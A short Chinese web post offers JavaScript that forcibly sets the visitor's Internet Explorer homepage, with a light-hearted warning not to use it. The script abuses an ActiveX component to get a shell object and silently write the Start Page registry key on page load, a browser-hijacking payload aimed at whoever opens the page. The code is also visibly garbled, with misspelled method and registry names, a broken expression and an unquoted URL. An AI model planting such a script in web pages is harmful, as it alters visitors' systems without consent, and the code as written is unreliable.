把網站設置為浏覽器的首頁是我們做網站時經常加到網站頂部的功能！下面這段代碼是強制設置為首頁的代碼！最好別用啊！呵呵！
<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>
注：個人建議還是少用JS代碼，因為做SEO優化時可能很麻煩，呵呵